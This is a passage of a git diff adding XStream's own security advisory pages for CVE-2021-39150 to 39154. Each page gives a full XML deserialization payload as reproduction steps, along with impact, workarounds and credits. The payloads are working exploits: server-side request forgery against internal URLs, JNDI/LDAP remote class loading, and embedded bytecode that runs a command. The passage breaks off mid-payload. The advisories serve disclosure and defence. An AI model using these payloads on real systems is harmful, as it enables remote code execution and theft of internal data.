AAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
+                      <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
+                    </__bytecodes>
+                    <__transletIndex>-1</__transletIndex>
+                    <__indentNumber>0</__indentNumber>
+                  </default>
+                </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
+              </proxy>
+              <implementing__method>
+                <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
+                <name>getOutputProperties</name>
+                <parameter-types/>
+              </implementing__method>
+            </sun.tracing.dtrace.DTraceProbe>
+          </entry>
+        </probes>
+      </defaultHandler>
+    </handler>
+  </dynamic-proxy>
+</linked-hash-set>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the code from the payload gets executed on the host.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed + input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

Lai Han of NSFOCUS security team found and reported the issue to XStream and provided the required information + to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-39150.html b/xstream-distribution/src/content/CVE-2021-39150.html new file mode 100644 index 000000000..564793684 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-39150.html @@ -0,0 +1,235 @@ + + + + CVE-2021-39150 + + + +

Vulnerability

+ +

CVE-2021-39150: A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams + from an arbitrary URL referencing a resource in an intranet or the local host.

+ +

Affected Versions

+ +

All versions until and including version 1.4.17 are affected, if using the version out of the box with Java + runtime version 14 to 8. No user is affected, who followed the recommendation to setup + XStream's security framework with a whitelist limited to the minimal + required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in a server-side forgery request.

+ +

Steps to Reproduce

+ +

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<java.util.PriorityQueue serialization='custom'>
+  <unserializable-parents/>
+  <java.util.PriorityQueue>
+    <default>
+      <size>2</size>
+    </default>
+    <int>3</int>
+    <dynamic-proxy>
+      <interface>java.lang.Comparable</interface>
+      <handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
+        <owner/>
+        <managedObjectManagerClosed>false</managedObjectManagerClosed>
+        <databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
+          <stubHandlers>
+            <entry>
+              <method>
+                <class>java.lang.Comparable</class>
+                <name>compareTo</name>
+                <parameter-types>
+                  <class>java.lang.Object</class>
+                </parameter-types>
+              </method>
+              <com.sun.xml.internal.ws.client.sei.StubHandler>
+                <bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
+                  <indices>
+                    <int>0</int>
+                  </indices>
+                  <getters>
+                    <com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
+                  </getters>
+                  <accessors>
+                    <com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
+                      <val_-isJAXBElement>false</val_-isJAXBElement>
+                      <val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
+                        <type>int</type>
+                        <field>
+                          <name>hash</name>
+                          <clazz>java.lang.String</clazz>
+                        </field>
+                      </val_-getter>
+                      <val_-isListType>false</val_-isListType>
+                      <val_-n>
+                        <namespaceURI/>
+                        <localPart>hash</localPart>
+                        <prefix/>
+                      </val_-n>
+                      <val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
+                        <type>java.lang.String</type>
+                        <method>
+                          <class>jdk.nashorn.internal.runtime.Source</class>
+                          <name>readFully</name>
+                          <parameter-types>
+                            <class>java.net.URL</class>
+                          </parameter-types>
+                        </method>
+                      </val_-setter>
+                      <outer-class>
+                        <propertySetters>
+                          <entry>
+                            <string>serialPersistentFields</string>
+                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
+                              <type>[Ljava.io.ObjectStreamField;</type>
+                              <field>
+                                <name>serialPersistentFields</name>
+                                <clazz>java.lang.String</clazz>
+                              </field>
+                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
+                          </entry>
+                          <entry>
+                            <string>CASE_INSENSITIVE_ORDER</string>
+                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
+                              <type>java.util.Comparator</type>
+                              <field>
+                                <name>CASE_INSENSITIVE_ORDER</name>
+                                <clazz>java.lang.String</clazz>
+                              </field>
+                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
+                          </entry>
+                          <entry>
+                            <string>serialVersionUID</string>
+                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
+                              <type>long</type>
+                              <field>
+                                <name>serialVersionUID</name>
+                                <clazz>java.lang.String</clazz>
+                              </field>
+                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
+                          </entry>
+                          <entry>
+                            <string>value</string>
+                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
+                              <type>[C</type>
+                              <field>
+                                <name>value</name>
+                                <clazz>java.lang.String</clazz>
+                              </field>
+                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
+                          </entry>
+                          <entry>
+                            <string>hash</string>
+                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
+                              <type>int</type>
+                              <field reference='../../../../../val_-getter/field'/>
+                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
+                          </entry>
+                        </propertySetters>
+                        <propertyGetters>
+                          <entry>
+                            <string>serialPersistentFields</string>
+                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
+                              <type>[Ljava.io.ObjectStreamField;</type>
+                              <field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
+                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
+                          </entry>
+                          <entry>
+                            <string>CASE_INSENSITIVE_ORDER</string>
+                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
+                              <type>java.util.Comparator</type>
+                              <field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
+                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
+                          </entry>
+                          <entry>
+                            <string>serialVersionUID</string>
+                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
+                              <type>long</type>
+                              <field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
+                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
+                          </entry>
+                          <entry>
+                            <string>value</string>
+                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
+                              <type>[C</type>
+                              <field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
+                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
+                          </entry>
+                          <entry>
+                            <string>hash</string>
+                            <com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
+                          </entry>
+                        </propertyGetters>
+                        <elementLocalNameCollision>false</elementLocalNameCollision>
+                        <contentClass>java.lang.String</contentClass>
+                        <elementDeclaredTypes/>
+                      </outer-class>
+                    </com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
+                  </accessors>
+                  <wrapper>java.lang.Object</wrapper>
+                  <bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
+                  <dynamicWrapper>false</dynamicWrapper>
+                </bodyBuilder>
+                <isOneWay>false</isOneWay>
+              </com.sun.xml.internal.ws.client.sei.StubHandler>
+            </entry>
+          </stubHandlers>
+          <clientConfig>false</clientConfig>
+        </databinding>
+        <methodHandlers>
+          <entry>
+            <method reference='../../../databinding/stubHandlers/entry/method'/>
+            <com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
+              <owner reference='../../../..'/>
+              <method reference='../../../../databinding/stubHandlers/entry/method'/>
+              <isVoid>false</isVoid>
+              <isOneway>false</isOneway>
+            </com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
+          </entry>
+        </methodHandlers>
+      </handler>
+    </dynamic-proxy>
+    <url>http://localhost:8080/internal/</url>
+  </java.util.PriorityQueue>
+</java.util.PriorityQueue>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the payload gets executed and the data from the URL location is collected.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to request data from internal resources that are not publicly + available only by manipulating the processed input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

Lai Han of NSFOCUS security team found and reported the issue to XStream and provided the required information + to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-39151.html b/xstream-distribution/src/content/CVE-2021-39151.html new file mode 100644 index 000000000..93708aa57 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-39151.html @@ -0,0 +1,177 @@ + + + + CVE-2021-39151 + + + +

Vulnerability

+ +

CVE-2021-39151: XStream is vulnerable to an Arbitrary Code Execution attack.

+ +

Affected Versions

+ +

All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security framework + with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

+ +

Steps to Reproduce

+ +

Create an empty EventListenerList and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<javax.swing.event.EventListenerList serialization='custom'>
+  <javax.swing.event.EventListenerList>
+    <default>
+      <listenerList>
+        <javax.swing.undo.UndoManager>
+          <hasBeenDone>true</hasBeenDone>
+          <alive>true</alive>
+          <inProgress>true</inProgress>
+          <edits>
+            <com.sun.xml.internal.ws.api.message.Packet>
+              <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
+                <parsedMessage>true</parsedMessage>
+                <soapVersion>SOAP_11</soapVersion>
+                <bodyParts/>
+                <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
+                  <attachmentsInitialized>false</attachmentsInitialized>
+                  <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
+                    <soapPart/>
+                    <mm>
+                      <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
+                        <aliases class='com.sun.jndi.ldap.LdapBindingEnumeration'>
+                          <cleaned>false</cleaned>
+                          <entries>
+                            <com.sun.jndi.ldap.LdapEntry>
+                              <DN>cn=four,cn=three,cn=two,cn=one</DN>
+                              <attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
+                                <javax.naming.directory.BasicAttribute>
+                                  <default>
+                                    <ignoreCase>false</ignoreCase>
+                                  </default>
+                                  <int>4</int>
+                                  <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
+                                    <javax.naming.directory.BasicAttribute>
+                                      <default>
+                                        <ordered>false</ordered>
+                                        <attrID>objectClass</attrID>
+                                      </default>
+                                      <int>1</int>
+                                      <string>javanamingreference</string>
+                                    </javax.naming.directory.BasicAttribute>
+                                    <com.sun.jndi.ldap.LdapAttribute>
+                                      <default>
+                                        <rdn class='com.sun.jndi.ldap.LdapName' serialization='custom'>
+                                          <com.sun.jndi.ldap.LdapName>
+                                            <string>cn=four,cn=three,cn=two,cn=one</string>
+                                            <boolean>false</boolean>
+                                          </com.sun.jndi.ldap.LdapName>
+                                        </rdn>
+                                      </default>
+                                    </com.sun.jndi.ldap.LdapAttribute>
+                                  </com.sun.jndi.ldap.LdapAttribute>
+                                  <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
+                                    <javax.naming.directory.BasicAttribute>
+                                      <default>
+                                        <ordered>false</ordered>
+                                        <attrID>javaCodeBase</attrID>
+                                      </default>
+                                      <int>1</int>
+                                      <string>http://127.0.0.1:8080/</string>
+                                    </javax.naming.directory.BasicAttribute>
+                                    <com.sun.jndi.ldap.LdapAttribute>
+                                      <default/>
+                                    </com.sun.jndi.ldap.LdapAttribute>
+                                  </com.sun.jndi.ldap.LdapAttribute>
+                                  <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
+                                    <javax.naming.directory.BasicAttribute>
+                                      <default>
+                                        <ordered>false</ordered>
+                                        <attrID>javaClassName</attrID>
+                                      </default>
+                                      <int>1</int>
+                                      <string>refObj</string>
+                                    </javax.naming.directory.BasicAttribute>
+                                    <com.sun.jndi.ldap.LdapAttribute>
+                                      <default/>
+                                    </com.sun.jndi.ldap.LdapAttribute>
+                                  </com.sun.jndi.ldap.LdapAttribute>
+                                  <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
+                                    <javax.naming.directory.BasicAttribute>
+                                      <default>
+                                        <ordered>false</ordered>
+                                        <attrID>javaFactory</attrID>
+                                      </default>
+                                      <int>1</int>
+                                      <string>ExecTemplateJDK7</string>
+                                    </javax.naming.directory.BasicAttribute>
+                                    <com.sun.jndi.ldap.LdapAttribute>
+                                      <default/>
+                                    </com.sun.jndi.ldap.LdapAttribute>
+                                  </com.sun.jndi.ldap.LdapAttribute>
+                                </javax.naming.directory.BasicAttribute>
+                              </attributes>
+                            </com.sun.jndi.ldap.LdapEntry>
+                          </entries>
+                          <limit>2</limit>
+                          <posn>0</posn>
+                          <homeCtx/>
+                          <more>true</more>
+                          <hasMoreCalled>true</hasMoreCalled>
+                        </aliases>
+                      </it>
+                    </mm>
+                  </multiPart>
+                </sm>
+              </message>
+            </com.sun.xml.internal.ws.api.message.Packet>
+          </edits>
+          <indexOfNextAdd>0</indexOfNextAdd>
+          <limit>100</limit>
+        </javax.swing.undo.UndoManager>
+      </listenerList>
+    </default>
+    <string>java.lang.InternalError</string>
+    <javax.swing.undo.UndoManager reference='../default/listenerList/javax.swing.undo.UndoManager'/>
+    <null/>
+  </javax.swing.event.EventListenerList>
+</javax.swing.event.EventListenerList>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

Depending on the JDK, the code from the remote server is executed as soon as the XML gets unmarshalled.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed + input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

Smi1e of DBAPPSecurity WEBIN Lab found and reported the issue to XStream and provided the required information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-39152.html b/xstream-distribution/src/content/CVE-2021-39152.html new file mode 100644 index 000000000..24d1a86cc --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-39152.html @@ -0,0 +1,87 @@ + + + + CVE-2021-39152 + + + +

Vulnerability

+ +

CVE-2021-39152: A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams + from an arbitrary URL referencing a resource in an intranet or the local host.

+ +

Affected Versions

+ +

All versions until and including version 1.4.17 are affected, if using the version out of the box with Java + runtime version 14 to 8. No user is affected, who followed the recommendation to setup + XStream's security framework with a whitelist limited to the minimal + required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in a server-side forgery request.

+ +

Steps to Reproduce

+ +

Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<map>
+  <entry>
+    <jdk.nashorn.internal.runtime.Source_-URLData>
+      <url>http://localhost:8080/internal/</url>
+      <cs>GBK</cs>
+      <hash>1111</hash>
+      <array>b</array>
+      <length>0</length>
+      <lastModified>0</lastModified>
+    </jdk.nashorn.internal.runtime.Source_-URLData>
+    <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
+  </entry>
+  <entry>
+    <jdk.nashorn.internal.runtime.Source_-URLData>
+      <url>http://localhost:8080/internal/</url>
+      <cs reference='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs'/>
+      <hash>1111</hash>
+      <array>b</array>
+      <length>0</length>
+      <lastModified>0</lastModified>
+    </jdk.nashorn.internal.runtime.Source_-URLData>
+    <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
+  </entry>
+</map>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the payload gets executed and the data from the URL location is collected.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to request data from internal resources that are not publicly + available only by manipulating the processed input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

m0d9 of the Security Team of Alibaba Cloud found and reported the issue to XStream and provided the required + information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-39153.html b/xstream-distribution/src/content/CVE-2021-39153.html new file mode 100644 index 000000000..db4aab392 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-39153.html @@ -0,0 +1,126 @@ + + + + CVE-2021-39153 + + + +

Vulnerability

+ +

CVE-2021-39153: XStream is vulnerable to an Arbitrary Code Execution attack.

+ +

Affected Versions

+ +

All versions until and including version 1.4.17 are affected, if using the version out of the box with Java + runtime version 14 to 8 or with JavaFX installed. No user is affected, who followed the recommendation to setup + XStream's security framework with a whitelist limited to the minimal required + types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

+ +

Steps to Reproduce

+ +

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<java.util.PriorityQueue serialization='custom'>
+  <unserializable-parents/>
+  <java.util.PriorityQueue>
+    <default>
+      <size>2</size>
+      <comparator class='com.sun.java.util.jar.pack.PackageWriter$2'>
+        <outer-class>
+          <verbose>0</verbose>
+          <effort>0</effort>
+          <optDumpBands>false</optDumpBands>
+          <optDebugBands>false</optDebugBands>
+          <optVaryCodings>false</optVaryCodings>
+          <optBigStrings>false</optBigStrings>
+          <isReader>false</isReader>
+          <bandHeaderBytePos>0</bandHeaderBytePos>
+          <bandHeaderBytePos0>0</bandHeaderBytePos0>
+          <archiveOptions>0</archiveOptions>
+          <archiveSize0>0</archiveSize0>
+          <archiveSize1>0</archiveSize1>
+          <archiveNextCount>0</archiveNextCount>
+          <attrClassFileVersionMask>0</attrClassFileVersionMask>
+          <attrIndexTable class='com.sun.javafx.fxml.BeanAdapter'>
+            <bean class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
+              <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
+                <default>
+                  <__name>Pwnr</__name>
+                  <__bytecodes>
+                    <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIyMDU0MTY0NDMxMDIwMTkBACBMeXNvc2VyaWFsL1B3bmVyMjA1NDE2NDQzMTAyMDE5OwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==</byte-array>
+                    <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
+                  </__bytecodes>
+                  <__transletIndex>-1</__transletIndex>
+                  <__indentNumber>0</__indentNumber>
+                </default>
+              </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
+            </bean>
+            <localCache>
+              <methods>
+                <entry>
+                  <string>getOutputProperties</string>
+                  <list>
+                    <method>
+                      <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
+                      <name>getOutputProperties</name>
+                      <parameter-types/>
+                    </method>
+                  </list>
+                </entry>
+              </methods>
+            </localCache>
+          </attrIndexTable>
+          <shortCodeHeader__h__limit>0</shortCodeHeader__h__limit>
+        </outer-class>
+      </comparator>
+    </default>
+    <int>3</int>
+    <string-array>
+      <string>yxxx</string>
+      <string>outputProperties</string>
+    </string-array>
+    <string-array>
+      <string>yxxx</string>
+    </string-array>
+  </java.util.PriorityQueue>
+</java.util.PriorityQueue>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

Depending on the JDK, the code from the remote server is executed as soon as the XML gets unmarshalled.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed + input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

Ceclin and YXXX from the Tencent Security Response Center found and reported the issue to XStream and provided + the required information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-39154.html b/xstream-distribution/src/content/CVE-2021-39154.html new file mode 100644 index 000000000..9d2303263 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-39154.html @@ -0,0 +1,120 @@ + + + + CVE-2021-39154 + + + +

Vulnerability

+ +

CVE-2021-39154: XStream is vulnerable to an Arbitrary Code Execution attack.

+ +

Affected Versions

+ +

All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security + framework with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

+ +

Steps to Reproduce

+ +

Create a simple TreeSet and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<sorted-set>
+  <javax.naming.ldap.Rdn_-RdnEntry>
+    <type>ysomap</type>
+    <value class='javax.swing.MultiUIDefaults' serialization='custom'>
+      <unserializable-parents/>
+      <hashtable>
+        <default>
+          <loadFactor>0.75</loadFactor>
+          <threshold>525</threshold>
+        </default>
+        <int>700</int>
+        <int>0</int>
+      </hashtable>
+      <javax.swing.UIDefaults>
+        <default>
+          <defaultLocale>zh_CN</defaultLocale>
+          <resourceCache/>
+        </default>
+      </javax.swing.UIDefaults>
+      <javax.swing.MultiUIDefaults>
+        <default>
+          <tables>
+            <javax.swing.UIDefaults serialization='custom'>
+              <unserializable-parents/>
+              <hashtable>
+                <default>
+                  <loadFactor>0.75</loadFactor>
+                  <threshold>525</threshold>
+                </default>
+                <int>700</int>
+                <int>1</int>
+                <string>ggg</string>
+                <javax.swing.UIDefaults_-ProxyLazyValue>
+                  <className>javax.naming.InitialContext</className>
+                  <methodName>doLookup</methodName>
+                  <args>
+                    <arg>ldap://localhost:1099/CallRemoteMethod</arg>
+                  </args>
+                </javax.swing.UIDefaults_-ProxyLazyValue>
+              </hashtable>
+              <javax.swing.UIDefaults>
+                <default>
+                  <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
+                  <resourceCache/>
+                </default>
+              </javax.swing.UIDefaults>
+            </javax.swing.UIDefaults>
+          </tables>
+        </default>
